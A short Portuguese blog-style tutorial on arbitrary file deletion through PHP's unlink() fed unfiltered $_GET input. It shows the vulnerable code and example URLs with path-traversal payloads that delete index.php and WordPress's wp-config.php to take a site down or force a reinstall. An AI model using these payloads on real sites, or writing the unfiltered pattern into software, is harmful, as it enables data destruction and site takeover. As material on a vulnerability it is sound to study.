Unlink é um método PHP usado para deletar arquivo físicos. Você pode ver mais nessa documentação.
Eu amo falar sobre esse assunto. I tive alguns artigos escritos sobre isso.
A um tempo atrás eu falei sobre milhares de downloads de Plugins WordPress com o mesmo problema.
Então vimos que o problema com o unlink é mais comum do que nós imaginamos.
Mas qual é o problema? Como se pode explorar unlink para coisas ruins.
Para o bug acontecer o sistema precisa de um dado de entrada e o uso do unlink do sistema, óbvio. =)
Para o estudo de caso nós vamos usar um simples dado de entrada, via $_GET e $_POST, sem filtro, vale lembrar que os filtros e o caminho correto
Vale lembrar que muitas pessoas usam filtros, e é o correto, mas alguns podem ter filtros com sucesso ou não, mas nesse exemplo eu vou mostrar sem filtros.
Exemplo básico;
unlink('folder/image.jpg'); // this image will be remove.
Quando se tem o poder de inserir o que quiser sem filtro ou mal feito, acontece isso.
unlink( $_GET['image'] );
Você tem o poder de deletar o arquivo que quiser como arquivos de configuações ou index’s, podendo quebrar a aplicação, em alguns casos você pode reiniciar o sistema como WordPress Joomla, Drupal.
Veja esse exemplo.
A url é:
http://www.target.com/index.php?image=image20.jpg
… e rodamos o código.
unlink( $_GET['image'] ); // Delete image20.jpg
Ok, você vai deletar mas e se pudêssemos deletar o index.php ao invés da imagem.
http://www.target.com/index.php?image=index.php
unlink( $_GET['image'] ); // Delete index.php
unlink( 'index.php' );
Nós vamos deletar o index file e parar o sistema, quem tentar acessar o site depois disso vai encontrar erro 404, de página não existente.
Exemplo de um ataque em WordPress.
http://www.target.com/index.php?image=../../wp-config.php
unlink( $_GET['image'] ); // Delete ../../wp-config.php
unlink( '../../wp-config.php' );
Nós vamos deletar o arquivo de configuração e o sistema pode ser reiniciado, setando uma base de dados nova.m
Você pode ver mais um real exemplo.
Buummmmm…. tango Down.